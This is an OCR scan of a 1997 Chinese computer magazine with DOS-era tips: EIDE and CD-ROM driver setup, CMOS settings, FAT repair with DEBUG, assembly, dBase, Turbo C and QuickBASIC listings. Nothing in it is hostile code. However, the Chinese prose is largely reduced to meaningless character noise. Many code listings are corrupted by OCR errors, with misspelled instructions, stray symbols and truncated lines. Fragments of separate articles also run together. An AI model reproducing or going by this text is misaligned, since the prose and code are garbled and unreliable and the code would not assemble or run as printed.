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* WINDOWS WINDOWS95 PHO-
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L 4 File—New RGB

.28. i EAF A 1997 . 8.



S 5o et ER )

HESF

L
NC5. 0 Norton Commander Disk ( )
Disk Cleanup ( ) 1. Disk
Cleanup
Disk Cleanup

2.
README
WINDOWS INI

10

3. Current Path

Disk Disk Cleanup 4. [Start]
Disk Cleanup ( [Drive] [Define ]
SHIFT +F1 ) [Cancel]
* “ox” [Start]
[Start]
@ Select—Save Selection #4
2 #4 Filter—Blur—Gaussian Blur INS
* Image— Adjust—Curve ( )
[New search]
[Delete] [Send to Pan-
E el] [Cancel]
== 11 12
= 10
Badur [ ool FME =
= [Define ] ‘
1 2 "
4 RGB Select—Load Selection (# 9
5) 9
. Edit—Fill 70% [Load]( )
L 4 Image—Adjust—Curve Name (Cleanup sets ) File(
Location ( ) Containing (
® <Cul> + <D> ) File Date( ) File
Size ( )
[Savel [ Jand Below
[ 1 Regular Expression
(#F4) [F10 — Tree] @
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By Ak, SEREmA, AR EARLIRB ARG, T
R, =oAL R R FIR, L LR ERRGT,

HEE AL EERAEE R, AhF—4
FM, R AN B TR, Bk, &
WRTNEMA, —FTRAT “BmAEER,
ARSI T =7 B KRR R 3T AL

L TP MR A28 . B APAT PP AL TAF R 32 3%
BIARITIP ARG T2

2. ATHME LN G EER;

FT PP ALY Y AP s F LB R

FTEP AU AR A HT

FTEPAUAT L6 KR IR AR PR AR
L WS AR S E AL,

ERGE—RFRRINE, SRENBESA G
A7 K FAINIR

B A LA R M RN FHAL L SR,
XFAT PR ALK S St B AP AT AL TAR R B IR AT PP A
ARG )2 B RS 7 @i R A, BAe B A ERT T, T
WAL, K& L5, 8 8L ILE 5 k5L iF 69 =
A, B BARRT, AARB TR S AN £ |
TR A BT I F s

VB BRASRBRRK, — R4
CHERMEZ ), L FH =y 2L TIPNAT L EA
FTEPALEY TAE R IARAITE ARG TIZ R, KA
BT REE, B EBEE R B A,
REATE,

WA FEART &, R A 69 H AR L A4, i
IR EET, MAERBRE, TAEPNAER
M, RARAGAZPHR, SFFRHE, LELR

. 30.

X SN

o v oA w

R HREXRHFATHIG LML ZEFR, &K

T 38 : B AR B AR, AR fofe RARBURT , RUIEJE 4%,
P fn e iff KRR R 0% ) e

P& BN T S S T AT AL A Y AS
HEHRE T BAREGHZE, WiER S, —X 3|
WA RIELTFE, FRTEAA RS LGB T “ER
L.

HHHE AT T R, kK

Bk RABRAAKRK, EHAA T L4
FLUAMNARENE  Fe A — AT LT LR A
ARG TAEE" AT RA B ZF AN B
FadliA S T — S0 A1,

Kk AARKGEFHALH T, AT
M, RAGHIF S H1], BARZ A T hued a2 N
757 R AR B RPREAE A,

A ERIE—AZHLAATLGEH, R
FEITHIXATFTARA, KB, THEHIHAL
H, BRI AT RRF, R EL, BRARTT,
TFT Aok B shv] & Kok B R E M SR
LRAE, RELE—AREGIRE, IR, AB AR,
EZHEARERR S RE, FRMANE LD
A, BIFTH ML, £52 0 RiEE", W) iELiF R
WU AL R R AL,

B RAE: R RPATIP AT LA KR IR AR
A A EARE AR A AR BB, A K6
RA AR R AR RBRRT,

DA A A AR R IR A, A LR
B HE S, —m i, PARIRR, iE R, AT
PR R0 & A 4E S R, KRG /ERALEE 5 4
%%,

BT B R B A KEA, AR ) W FHA
BHF, RAME S F  BAET N ER,

B4 N EMA AL BT, SARRARN G
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F, &K HP AW @ T, A 45 L RdR ad 3T ep AL
B, RAA —REHARARIFO B LR G, A — A%
FIXHFLRKEHF, RibAELRAL ST, B
P8 B Ao P, HP A RR I W RALR A Hik
AT L MO R HP 6 R, B R AR R
ERNT, MBS MA — ARHH S KBk, AT
VA, & R Rk AN

R, ABMF——LBT | dkHNAH 2T
WH @GP, TAEEI( b 2% )tk “%
MRB" M, AR AHIKRM ., SR, HET,
ZEAE KRR 2.

1978

1+1
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DesklJet200

DJ200

Paper Size Selector (

A4
DOS
?
(
) DOS
install. exe
DOS C \DeskJet

“ ”

DICP  DIJP-
(DJ200/DJ400) DIJCP/DJPMenu

Menu

C /DeskJet DICP. EXE /DJPMenu. exe
HP DeskJet Portable HP DesKlJet 200/300/400/
540/600/660C/670C/690C /850C/870C

/
Bk H—KRFe R FE NG, W E AR, &R A
2 ERIF, TRARAZMT ., (t54:)
.31



AWARD BI0S



AWARD B

WINDOWS
]
640 x 480 | 800 x 600 | 1024 x 768 | 1280 x 1024
DOS 512KB 256 256 16 \
WINDOWS 1MB 16M 64K 256 \
SETUP 2MB 16M 16M 64K 256
Computer Fan 1997 . 8. .33,



. 34.

586 486 1/0

586
PCI BUS Master IDE
IDE ATAPI 4 IDE ATAPI
4 IDE 4 ATAPI CD -ROM 4
IDE 528MB
EIDE 5.4GB
586 EIDE
— BB A5 ) 8% % O ol
EIDE
PIO Mode Multi — Word DMA Mode

PIO Mode 3 11. IMB/SEC
PIO Mode 4 16. 6MB /SEC
Multi — Word DMA Mode 1 13. 3MB/SEC

Multi — Word DMA Mode 2 22MB /SEC
PIO CPU
DMA CPU
SEAGATE QUANTUM PIO Mode 3 DMA 1
Fast ATA -1 PIO Mode 4 DMA Mode 2
Fast ATA -2 FAST A-
TA -2
CD -ROM EIDE/ATAPI EIDE
EIDE/ATAPI CD -ROM
EIDE BIOS 528MB
ATAPI CD -ROM PIO Mode 4 DMA
Mode 2 PIO Mode 4 DMA
Mode 2 CPU

O ME R GRS R

586
BIOS

AUTOEXEC. BAT

ATC - 2000
ATAPI
DOS
DOS
1. A B
A B

BIOS
CONFIG. SYS
REM
ST51270A
Fast ATA -2
WINDOWS 3.2
“ SETUP”

W R AT E 1997 .



Y

EDIT
AUTOEXEC. BAT WINDOWSS3. 2
TEM. INI CONFIG. SYS

DEVICE =C: \ BMIDE\ TRIDMA. SYS  DE-

VICE = C: \BMIDE\TRICD. SYS AUTOEX-
EC. BAT C: \MSCDEX /D: MSCDO000

SYSTEM. INI [386Enh]
DEVICE =C: \ BMIDE\ TRIINT13. 386
C: \BMIDE\TRICTR. 386

CONFIG. SYS
SYS-

DEVICE =

AUTOEXEC. BAT

C: \MSCDEX /D: MSCDO000

REM CONFIG. SYS

REM

MEMMAKER

MEMMAKER

CUSTOM SETUP ADVANCED OPTIONS
SCAN THE UPPER MEMORY AREA AGGRES-

SIVELY ? NO YES USE MONOCHROME
REGION (B000 — B7FF) FOR RUNNING PRO-
GRAMS ?  NO YES
KB
EIDE
WINDOWS
SYSCHK2. 41
6760. 17KB/
SEC
7166. 83KB /SEC
406. 66KB /SEC
o
“HEEN
1. EIDE

CONFIG. SYS AUTOEX-
EC. BAT SYSTEM. INI WIN. INI
2.
Mode 4
Mode 3 CONFIG. SYS
DEVICE =C: \BMIDE\TRIDMA. SYS /PM PIO =4
DEVICE =C: \ BMIDE\ TRICD. SYS /SM PIO =3
3. EIDE BIOS
EIDE

Computer Fan 1997 . 8.

4. EIDE BIOS
ON — Chip Primary PCI IDE Enabled ON —
Chip Secondary PCI IDE Enabled
PCI IDE
5.
10
6. WINDOWS
WINDOWSS3. 2 SYSTEM. INI
[Enh] OverleppedIO = ON
32BitDiskAccess = ON ON OFF
7. DOS
CONFIG. SYS  AUTOEXEC. BAT
MEMMAKER
8.
©
VIO DUDIDLDI DL DIDIDLVI VDI DI DLDI VDL DI DL
L]
IBM
IBM FFFFE
PC FF
XT FE
AT FD
PCJR FC
( )
MOV AX, OFO00H ES ROM
MOV ES, AX
MOV AL, ES: [0OFFFFEH ]
CMP AL OFFH PC?
JE INITIALIZE JR ©
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X

TV —
MPEG MASTER VGA
DOS  WINDOWS

PC -TV
MPEG MASTER VGA

| I ¥

AN

h
/

1. PCI MX86250 Dg T l
64 24 RAMDAC 6'5 —,
135MH IMB 35ns  EDO ag fﬁ f
o E B !
1600 x 1200 x 256 WINDOWS DCI )Y U
L ] ‘
/ -gus ey
3~ N l
2. MPEG II 2.0 VCD 3= ,‘,,.L
L1 \ - % »
~ 1) 4.8 5 88
WINDOWS
4 vV
(YUV -RGB)
3. VESA DPMS 3DS
WINDOWS 95 DIRECT DRAW vV
WINDOWS 3. XX WINDOWS 95 0S/2
CAD
4. VIDEO - OUT  VIDEO - IN
S
PAL NTSC PAL ©
J3IN x E (7 W)
486DX /100 230W

6X86P133 + CPU (
8661 MPG3365P MED3240) 16MB E-
DO SONY CDU311 Seagate 1. 2GB
DOS PWIN32
PWINO95
( ) PWINO5 !
‘ " 14MB
PWIN95 “ !

. 36.

(T AFEER)
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586 K5-PR100 CPU
CPU
90MHz CPU Cache
CPU
CPU CPU
CPU
CPU CPU

Windows

386

(B% ax®)

Computer Fan 1997 . 8.

(&M \RE)

386

(KX A7)

.37,



VCD

VCD

VCD

VCD VCD

“ Pl ( ) “ P40"

Pl ©
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Pentium 100

MITSUMI

WINO9S
VCD
IDE (
WIN95 32

32

32 CD-ROM

CDFS

CD

IDE
IDE
IDE (

MA
SL

1

MITSUMI

MA*“ !
SL
CMOS
BIOS FEATURES SETUP
IDE Second Channel Control

Computer Fan 1997 . 8.

ENABLE( IDE

) MIT-
SUMI
IDE
IDE
(
IDE
IDE CMOS
DISABLE
)
WINO5
AUTOEXEC. BAT
WINO5 .
’ IDE
1
IRQ14 ?
IRQ15
IRQ5
IRQ15
™ CcD CD
DMA VCD A B
IRQ A
IRQ15 B
VCD
MITSUMI
MISUMI ‘ ’ ©
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—.CMOS ¥ & it &

CMOS Video Rom
Shadow ( ) RAM
ROM ROM
RAM RAM
ROM
ENABLE
Cache
Cyrix CPU
Cache
EDO EDO
( EDO )
— kst &
CONFIG. SYS AUTOEX-
EC. BAT
1. SMARTDRV SMARTCD
Cache
2. WINDOWS
WINDOWS
(% .drv)
(
)
)
3. WINDOWS
share WINDOWS
= R EEB AL R T
“ I 486
. 40.

1N\

486 MBIEXNCRIESEIE

1. WINDOWS o

3. Intel CPU

2~6
©
[
NEC PCI 5x86 133  CPU
5x86 160  CPU 80MHz
5x86  CPU 133
? 80MHz
WIN95 CPU
CPU
3.45V 3.6V CMOS
“ ENABLE" WINO95
QAPLUSG6. 0 CPU PERFOR-
MANCE DHRYSTONES
NORTON CPU
160MHz BENCHMARK
OFFICE
5x86
PCI 2032
512KB CPU
©
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A DEBUG #2 % &
FAT % # /2 32 4o 7 (&

]
FAT (File Allocation Table ) FAT
DEBUG FAT2
( FAT1
) FAT DEBUG FAT
L \ L
\\%
1. 2MB 1. 44MB DEBUG
FAT 1 DOS -LI[ 11 11 11 ]
-WI[ 11 10 11 ]
1 (
1.2MB 1. 44MB ) A
0B 1C 2
0 0 00 ~ 00 52 | 0 0 00 ~ 00 512
FAT1 | 0 01 ~07 3584 | 0 0 01~09 | 4608
FAT2| 0 08 ~ 14 3584 | 0 0 10~17 | 409 DEBUG A 1. 44MB
10 18~18 512 FAT
DT [1 0 |15~28 768 | 10 19-32 | 7168 | c.\DEBUG DEBUG
1 o —L 100 0 10 9 A 10
20 ~2379 | 1213952 ; 33 ~2879| 1457152 9
17 17 FAT2
1 | oMB W 100019 A
1. 44MB ! ?
FAT2 FATI
FAT FAT
-Q DEBUG
( FAT1 1 9
FAT2 ) 1 FAT
5 DEBUG FAT
3
2 3
1.2MB | 1.44MB 1.2MB 1. 44MB
IFAT
FAT1 1~7 1~9 A B A B
FA52 8~14 | 10~18 c: \ Bebug
“L100087 [ L 100187 | -L 1000109 | -L 1001109
DOs FATI W 0001 7[-W 1001 17| -W100019| -W1001109
FAT2 FAT2 -Q

©
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T30 2Rz S

DOS

CPU « »
RET
INT 20H
DOS
examplel. asm
cseg segment
assume cs: cseg
start: org 100h
int 20h
cseg ends
end start
masm tasm exam-
plel. obj link  tlink ex-
amplel. exe
tling examplel. obj/t exam-
plel. com
?
DOS/BIOS
INT 20H !
DOS 00H
CS PSP
COM EXE
COM EXE
.42

L]
DOS
COM
64KB
0000 0100 PSP
(PSP
.COM .EXE TSR
DOS PSP
256
) PSP
(
) (
00FE)
CS=DS=ES=SS CS
PSP (
) INT 20H
.EXE
DS
ES PSP CS DS
examplel. exe debug
c: \ Mebug examplel. exe
—rds
OFB5
—ICS
OFC5
-q
PSP OFB5 cs
OFC5 PSP
INT 20H
. exe Mi-
crosoft DOS 4CH
examplel. asm int 20h

mov ah, 4ch
int 21h

4CH

AL
4CH .exe .com
TSR
( ) INT
27H INT 21H 31H
DX
ret
; example2. asm
cseg segment
main proc far
assume cs: cseg
start: push ds
XOr ax, ax ax
ax 0
push ax
ret
main endp
cseg ends
end start
ret
DOS DOS
main
far ret
?
ds
PSP PSP
ds ax
(0000) ret
ax
(0000) ip ds
cs PSP
@
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“

DOS  SH

DOS SHELL
DOS

TURBO C QEDIT  WPS
WINDOWS 3. X  WINDOWS 95
DOS SHELL DOS

DOS SHELL
DOS
Program too big to fit in memory”

DOS  SHELL

DOS  SHELL
QEDIT V4.0
DOSSHELL DOS *
[JR1” C
“ [JR]"
QEDIT V4. 0

DOS

DOSSHELL

DOS
/K COMMAND”

COMMAND /?

“

DOSSHELL “ [MY]”
COMMAND /K SET PROMPT = $P$G[MY]"
C BASIC

system ("COMMAND. COM /K SET PROMPT =$P$G[MY]")
SHELL "COMMAND. COM /K SET PROMPT = $P$G[MY ]”

DOSSHELL DOS
DOS
COMMAND. COM
DOS PATH
COMMAND. COM
COMMAND. COM ‘o
K" DOS

Computer Fan 1997 . 8.

C: \DOS\ I

PROMPT
* $PSGIMY]” COMMAND. COM

C

putenv (" PROMPT = $P$G "); / * PROMPT
system(”"); / * COMSPEC
COMMAND. COM

*/

*/

DOS COM EXE

DOS  SHELL
WINDOWS 3. X  WINDOWS 95

1. DOS
C:\ TC

DOS

TURBO C V2.0
DOSSHELL
(1) TC. BAT

C: \ COPY CON C: \TC\TC. BAT

@ECHO OFF

PROMPT $P$G[TC]

MYTC. EXE

PROMPT $PSG

“F6

(2)  C:\TC\TC.EXE

BAT2COM. EXE

TC. COM TC. BAT

MYTC. EXE
TC. COM

“caTC\ i

MYTC. EXE
TC. BAT
TC. EXE

(3)
DOSSHELL
[TC1” !

TC. BAT
DOS
TC  DOSSHELL
COM

2. WINDOWS 3. X  WINDOWS 95
C
AUTOEXEC. BAT “ SET WINPMT =
$P$SG[WIN] ”
@

.43,



DEVICE = EMM386

CONFIG. SYS
MAKER

CONFIG. SYS

DEVICE = EMM386

WPS3. OF
DEVICE = EMM386

MEM-

WPS3. 0

MS -DOS6. 22

CONFIG. SYS

[menu]

menucolor =14, 1

menuitem = dos, ms — dos 6. 22
menuitem = win, windows 3. 2
menuitem = wps, wps 3. Of
menudefault = win, 5

[dos]

device =c: \dos \himem. sys
device =c: \dos \emm386. exe ram
dos = high, umb

[win]

device =c: \dos \himem. sys
device =c: \dos \emm386. exe ram
dos = high, umb

stacks =9, 256

[wps]

device =c: \dos \himem. sys

dos = high
AUTOEXEC. BAT
@ echo off

prompt $p$g

path =c: \dos; c: \windows; c: \wps; c: \nc

goto % config%
: dos
goto end
T win
win

goto end
T WpS
cd\wps
spdos /v
wps
goto end
rend

cls

DOS

MS -DOS 6. 2 Startup Menu

1. ms — dos 6. 22
2. windows 3. 2
3. wps 3.0f
Enter a choice: 1

<> <l|>

5
DOWS

WIN-

©

B e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e s

UCDOS

Setup. exe
UCDOS
UCDOS

UCDOS  API
DOS

#include <bios. h>
#include <dos. h>
#include <stdio. h>
#define FALSE 0
#define TRUE 1

int checkUCDOS (void)

. 46.

Free. exe

ucC-

{

union REGS regs ;

regs. X. ax = 0xdb00;

int86 (0x2f, & regs, & regs);

if(regs. h. al! =0xff |l regs.x.bx! =
0x54501 Iregs. x. dx! =5)return FALSE;
else return TRUE;

}

main( )

{ int ucdos;

if (checkUCDOS () ) ucdos = 1;

else ucdos =0;

{ if (ucdos)

printf( " ")
else

printf ( " Computer Fan " );
}

}

486/66
2.0  Turbo C+ +1.0
UCDOS 5.0

W, il &4 A

Turbo C

1997 . 8.



README. COM

README. COM README. EXE
COM
TXT2COM
COM
COM
100
COM
100H PSP

Computer Fan 1997 . 8.

100H
COM

COM

COM (EXE )

COM
DOS
COM

AST 386
, TASM2. 0

; TXT2COM. ASM (TXT2COM. COM)
;TASM 2.0 < COM >
CODE SEGMENT
ASSUME CS: CODE; DS: CODE
ORG 100H
BE: JMP BEGIN
HAD1 DW 0 H
HAD2 DW 0 ;
BUFF DB 512 DUP(0)
ONAME DB 0ah, 0dh, 'Outname: '
OUTNAME DB 26, 0,27 DUP(0)
ERMSG DB 0ah, 0dh, 'File open error!’
DB 0ah, 0dh, 'TXT2COM <FileName> $'
INERR DB 0ah, Odh, 'Outname error! $’
INPUTM DB 0ah, 0dh, 'Please Input Outname’

DOS6. 2

DB '(*.COM): $’
OKMSG DB 0ah, 0dh, 'TXT2COM OK!$’
WAMSG DB 0ah, 0dh, ' Wait$’
BEGIN: MOV AH, 06H ;
MOV AL, 0
MOV BH, 1EH ;
MOV CX, 0
MOV DX, 1950H
INT 10H
MOV DX, 0002H;
MOV AH, 02
MOV BH, 0
INT 10H
MOV SI, 81H ;
LODSB
CMP AL, ODH
JZ ED
CMP AL, "'
JNZ ED
DEC BYTE PTR ES: [80H]
JMP ST1
ED: DEC SI
MOV CL, ES: [80H]
XOR CH, CH
MOV DX, SI
ADD SI, CX
MOV BYTE PTR [SI], 0
OPEN: MOV AH, 3DH ;
MOV AL, 0
INT 21H
JC ERROR1
MOV HADI, AX ;
JMP BE1
ERROR1: MOV DX, OFFSET ERMSG
MOV AH, 9
INT 21H
JMP EXIT
BE1l: MOV DX, OFFSET INPUTM
MOV AH, 9
INT 21H
MOV AH, 0AH ;
MOV DX, OFFSET OUTNAME
INT 21H
MOV SI, OFFSET OUTNAME

ST1:
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X

INC SI

ASCD: INC SI H ASCII
CMP BYTE PTR [SI], ODH
INZ ASCD
MOV BYTE PTR [SI], 0
MOV DX, OFFSET OUTNAME
INC DX
INC DX
MOV AH, 3CH ;
MOV CX, 0
INT 21H
JNC SAVEHAD
MOV DX, OFFSET INERR
MOV AH, 9
INT 21H )
JMP BE1

SAVEHAD: MOV HAD2, AX
MOV AH, 9
MOV DX, OFFSET WAMSG
INT 21H

READGET: MOV AH, 40H ;
MOV DX, OFFSET DISP
MOV CX, OFFSET MSG
SUB CX, OFFSET DISP
MOV BX, HAD2
INT 21H

READFILE: MOV AH, 3FH;
MOV DX, OFFSET BUFF
MOV BX, HAD1
MOV CX, 512
INT 21H
CMP AX, 0
JZ WEXIT
MOV CX, AX ;
MOV AH, 40H
MOV DX, OFFSET BUFF
MOV BX, HAD2
INT 21H
MOV AH, 2
MOV DL, ".’
INT 21H
JMP READFILE

WEXIT: MOV BYTE PTR BUFF, 1AH
MOV CX, 1 ;
MOV AH, 40H
MOV DX, OFFSET BUFF
MOV BX, HAD2
INT 21H
MOV AH, 3EH ;
MOV BX, HADI1
INT 21H
MOV AH, 3EH
MOV BX, HAD1
INT 21H
MOV AH, 9
MOV DX, OFFSET OKMSG

. 48.

INT 21H
MOV SI, OFFSET OUTNAME
XOR AX, AX ;
MOV AL, BYTE PTR [SI+1]
MOV WORD PTR [SI], 3C20H
ADD SI, AX
ADD SI,3 >
MOV WORD PTR [SI], 243EH
MOV AH, 9
MOV DX, OFFSET ONAME
INT 21H

EXIT: MOV AH, 4CH
INT 21H

DISP: PUSH CS
POP DS
MOV AH, 06H ;
MOV AL, 0
MOV BH, 1EH ;
MOV CX, 0
MOV DX, 1950H
INT 10H
MOV DX, 0100H;
MOV AH, 02
MOV BH, 0
INT 10H
XOR CX,CX
MOV SI, OFFSET MSG
SUB SI, OFESET DISP
ADD SI, 100H ;

READM: LODSB ;
CMP AL, 1AH ;
JNZ SCANOD
JMP HMCL

SCANOD: CMP AL, ODH ;
INZ SCANOA
INC CH ; 1
MOV CL,0 ; 0
CMP CH, 23 ; 23
JZ HMCL
JMP PRINT

HMCL: PUSH AX
MOV BP, OFFSET WAITL
SUB BP, OFFSET DISP
ADD BP, 100H
MOV AH, 13H
MOV DX, 1800H
MOV CX, 79
MOV BH, 0
MOV AL, 01
MOV BL, 031H
PUSH CS
POP ES
INT 10H
MOV BP, OFFSET WAITH
SUB BP, OFFSET DISP
ADD BP, 100H
MOV AH, 13H

MOV DX, 0000H
MOV CX, 79
MOV BH, 0
MOV AL, 01
MOV BL, 074H
PUSH CS
POP ES
INT 10H
MOV AH,0 ; ,
INT 16H
OR AL, 20H
PUSH AX
MOV AH, 06H ;
MOV AL, 0
MOV BH, 1EH
MOV CX, 0
MOV DX, 1950H
INT 10H
MOV DX, 0000H;
MOV AH, 02
MOV BH, 0
INT 10H
MOV CH,0 ; 0
POP AX
CMP AL, 'q’
JZ ENDD
POP AX
CMP AL, 1AH
JZ ENDD
JMP PRINT
SCANOA: CMP AL, 0AH ;
JNZ SCANCHAR
JMP PRINT
SCANCHAR: INC CL ;
CMP CL, 81 1
JNZ PRINT
MOV CL, 0
INC CH
CMP CH, 23 :24
JNZ PRINT
JMP HMCL
PRINT: MOV AH,2 ;
MOV DL, AL
INT 21H
JMP READM
ENDD: MOV AH, 4CH ;
INT 21H
WAITH DB 32 DUP(’ * '), '/README
(TXT2COM)’, 32 DUP(' * ')
WAITL DB 31 DUP(' -'),'Q .

'35 DUP(' =)
MSG:
CODE ENDS
END BE ©

W AT E 1997 . 8.



set talk off
clear
do while. t.
chioce0 =
set talk off
set color to w + /b, w + /w, w
18, 0 clear to 24, 80
18, 0, 24, 80 box
19, 10 say " "
19, 30 prompt” < >
19, 40 prompt” < >
menu to choice0
do case

"on

®B®6®®6 6

case choice( =2

col=0

do while _col <80
@0, 0 clear to 24, _col
_col=_col+1

enddo

set color to w + /b

@0, 0 clear to 24, 80

return

case choice0 =1

Computer Fan 1997 . 8.

exit
endcase
enddo
clear
* hide popup subpopl
set colo to w + /b, w + /bg, w
@0, 0 clear to 24, 80
use hdsr
do while . t.
chioce0 =""
locate for zy ="
if found ()
clear
@18, 0, 24, 80 box
@20, 10 say "
@20, 45 prompt” < >
@ 20, 55 prompt” < >
menu to choice0
do case
case choice0 =2
set color to w + /b
@0, 0 clear to 24, 80
use
return
case choice0 =1
exit
endcase
endif
if . not. found ()
exit
endif
enddo
use
clear
set colo to w + /b, w + /bg, w
@0, 0 clear to 24, 80
do while. t.
jdwh = space (2)
jdwm = space (6)
jsxj =0.00
jshk =0. 00
jtyk =0. 00
jsbk =0. 00
jszfk = 0. 00
jsthj =0. 00
jdhk =0. 00
jfzfk =0. 00
jeyk =0. 00
jsjk =0. 00

"

jbxj =0. 00
jffhj =0. 00
jbyul =0. 00
jsfce =0. 00
jffce =0. 00
jbxjce =0. 00
hide popup subpopl
set colo to w + /b, w + /bg, w
@0, 0 clear to 24, 80
do while . t.
set color to w + /b, w + /bg, w
@0, 0 clear to 24, 80
do while . t.
@3,23 say " < >
@4, 8 say " T T 1
@5, 8 say " |
@6, 8 say " |
@7,8say" | "
|
|

n|on

"

@8,8say " | "
@9,8say " | "
@10, 8 say " |
@11, 8 say "
@12, 8 say "
@13,8 say " |
@14, 8 say " |
@15, 8 say "
@16, 8 say "
@17, 8 say "
@18,8 say " | "
@19,8say " | ”
@20, 8 say " !
@5, 68 say "
@6, 68 say "
@7, 68 say " |
@8, 68 say " |
@9, 68 say " |
@10, 63 say " |
@11, 68 say " |
@12, 68 say " |
@13, 68 say " |
@14, 68 say " |
@15,68 say " | "

|

|

|

|

"

@16, 68 say "
@17, 68 say "
@18, 68 say "
@19, 68 say "

"

@6, 8 say "

|
f

@8, 8 say " |
@10, 8 say " |
@12, 8 say " f
|

I

|

|

@14, 8 say "
@16, 8 say "

@18,8 say " | f
@5, 38 say " |
@7,38 say " | "
@9, 38 say " |
@11, 38 say " |
@13, 38 say " |
@15,38 say " | "

|

|

"

@17,38 say " | "

@19,38 say " | "

@5,10 say " :" get jdwh

@5, 42 say " " & & get jdwm
@7,10 say " ;" get jsxj pict "@a"
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@9, 10 say " " get jshk
@11, 10 say ” " get jtyk
@13, 10 say " ;" get jsbk pict "@a"
@15,10 say " . " get jszfk pict "@a”
@17,10 say ” " get jsfhj
@7,42 say " " get jdhk
@9,42 say " . " get jfzfk pict "@a”"
@11, 42 say " " get jeyk
@13, 42 say " . " get jsjk pict "@a"
@15, 42 say " ;" get jbxj pict "@a"
@17,42 say " " get jffhj
@19, 42 say " " get jbyul

set colo to w + /br
@ 24, 0 clear to 24, 80
@24, 10 say "
@24, 45 say”
P
read
set talk off
use hdsr. dbf
jsthjl = jshk + jtyk + jsbk + jszfk
& &
jffhj1 = jdhk + jeyk + jsjk + jfzfk
jbxjl =jsxj +jsthjl — jffhjl
jsfce = jsthj — jsthjl
jffce = jffhj — jffhj1
jbxjce =jbxjl — jbxj
if (jsfce) <> 0.00
& &
set colo to w + /n
@22, 5 clear to 22, 73
@22,10 say ”
@22, 25 say”
11,2)
@22, 50 say "
read
set colo to w/n, n/w, w
@0, 0 clear to 24, 80
@22,15 say " R Enter
loop
endi
if (jffce) <> 0.00
& &
set colo to w + /n
@22, 5 clear to 22, 73

1996

”

->
"+ str(jsfee,

”

Enter

"

@22,10 say " ->"

@22, 25 say " 2"+ str(jffee, 11,2)
@22,50 say " Enter "

read

set colo to w/n, n/w, w
@0, 0 clear to 24, 80
@22,15 say " s
loop
endi
if (jbxjce) <> 0.00
& &
set colo to w + /n
@22, 5 clear to 22,73
@22,10 say "
@22, 25 say”
11,2)
@22, 50 say ”
read

"

Enter

s
"+ str(jbxjce,

"

Enter

. 50.

set colo to w/n, n/w, w
@0, 0 clear to 24, 80
@22,15 say " R Enter
loop
endi
exit
enddo
dd=""
set colo to w + /b
@0, O clear to 24, 80
set colo to w/n
@20, 17 clear to 22, 62
set colo to w + /w, w + /gr, w
@19, 15 clear to 21, 60
@20, 18 say "ok !”
@20,28 say " <
@20,41 say " <
read
ifdd <> "Y" and. dd <> "y"
exit
endif
enddo
clear
if jdwh =" ". or. jsfhj = 0. or. jffhj =0
set color to w + /b
@0, 0 clear to 24, 80
return
endif
use hdsr. dbf
append blank
replace dwh with jdwh, dwm with jdwm
replace sxj with jsxj, dhk with jdhk
replace shk with jshk, fzfk with jfzfk
replace tyk with jtyk, cyk with jcyk,
with jsbk

"

”

y >
> " get dd

sbk

replace sjk with jsjk, szfk with jszfk, bxj
with jbxj
replace sfhj with jsthj, ffhj with jffh;j
replace byul with jbyul
use
dd=""
set colo to w + /b
@0, O clear to 24, 80
set colo to w + /n
@ 20, 17 clear to 22, 62
set colo to w + /bg, w + /w, w
@19, 15 clear to 21, 60
@20, 22 say " < Enter > < n
> " get dd
read

if dd < "n". and. dd < "N”

loop

endif

exit
enddo

set colo to w + /b, w + /bg, w

@0, O clear to 24, 80
@18, 0, 24, 80 box
@19, 15 say " s [
@21, 20 say " ! <

S

read
endif && &
set color to w/b, w + /bg, w
@0, O clear to 24, 80
clos all
clear
return

Turbo C
6KB
include <dos. h>
/ * */
#define INTR 0x09
/ x */

extern unsigned_heaplen = 1024;
extern unsigned_stklen = 512;

void interrupt ( * oldhandler) (void);
void interrupt handler(void)

{ unsigned int i;

/* x*/
for(i=1;i <1000; + +i)
sound (360);
/* 1000
*/
nosound();
/* */
oldhandler();
}
int main (void)
{
/* */
oldhandler = getvect (INTR);
/* */
setvect (INTR, handler);
/* */
keep (0, (_SS + (SP/16) — _psp));
return 0;
} @
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QUICK BASIC
EXE
1. QUICK BASIC 4.5
BC.EXE LINK.EXE BCOM45. LIB
2. DOS EDIT
3 AUTODA-
TA. DT1 2 BCOM45. LIB
AUTODATA. DT2
3. TXT2EXE. BAS( )
1 TXT2EXE. BAS
TXT2EXE. EXE
5. TXT2EXE. EXE BC. EXE LINK. EXE BCOM45
.LIB
6. TXT2EXE. EXE

! EXE
CLEAR CLS

PRINT ” TXT2EXE "

PRINT " 1997.03. 13 "

PRINT ” TXT "
PRINT"'==================="

PRINT ” "

PRINT "Pleaes input the TXTfileName ( ) " INPUT TxtFile$
PRINT ” ( )"

PRINT "Please input the EXEfileName: ": INPUT Exefile$

OPEN TxtFile$ FOR INPUTAS# '

OPEN "tmpbas. bas” FOR OUTPUT AS#2 ' BAS
PRINT#2 "shell” + CHR$(34) +"@ echo off” + CHR$(34)
PRINT#2 “shell” + CHR$(34) +"cls” + CHR$(34)

% il TXT2EXE B F

O

i=0

DO WHILE NOT EOF(1)
i=i+1

INPUT#1, txtstr$ '

IF i/23 =INT(i/23) THEN '
basstr$ ="shell” + CHR$(34) + "pause” + CHR$ (34)
PRINT#2, basstr$

END IF

IF LTRIM$ (RTRIMS (txtstr$) ) =""THEN

basstr$ ="shell” + CHRS$ (34) +"echo” + CHRS (34) '

ELSE

basstr$ = "shell” + CHRS (34) + "echo” + txtstr$ + CHR$ (34) '
. BAS

END IF

PRINT#2, basstr$ ' .BAS

LOOP

CLOSE

SHELL"bc tmpbas <autodata. dt1” ' .bas . obj

SHELL"link tmpbas <autodata. dt2” ' .obj .exe

SHELL"del tmpbas. bas” ' . bas

SHELL"del tmpbas. obj” ' . obj

SHELL"ren tmpbas. exe” + Exefile$ +". exe”

END

©

Circle(x, y), r, color CLS

Nephriod

0

P

px =cx +r%* cos(i)
py =cy +r*sin(i)

2. r=pd=py —cy
QBASIC

n 3.

P PD 0 15

SCREEN 12

Computer Fan 1997 . 8.

next

21 step 2m/n

"The Nephriod Curve Program
r = 100: n = 8 cx = 310: cy =
120: pi = 3.141592
for "The circle center
FORi = 0 TO pi / 2 STEP . 1
px = cx + r * COS(i)
i py = cy + r * SIN(G)
"radius = Hi
Hi = py - cy
"The Nephroid Curve
CIRCLE (px, py), Hi, 12
NEXT i
"The circle center
FORi = pi / 2 TO pi / 1 STEP .1
px = ¢x + r * COS(i)
py = cy + r * SIN()
"radius Hi
Hi = py - ¢y

step

4 14 "The Nephroid Curve

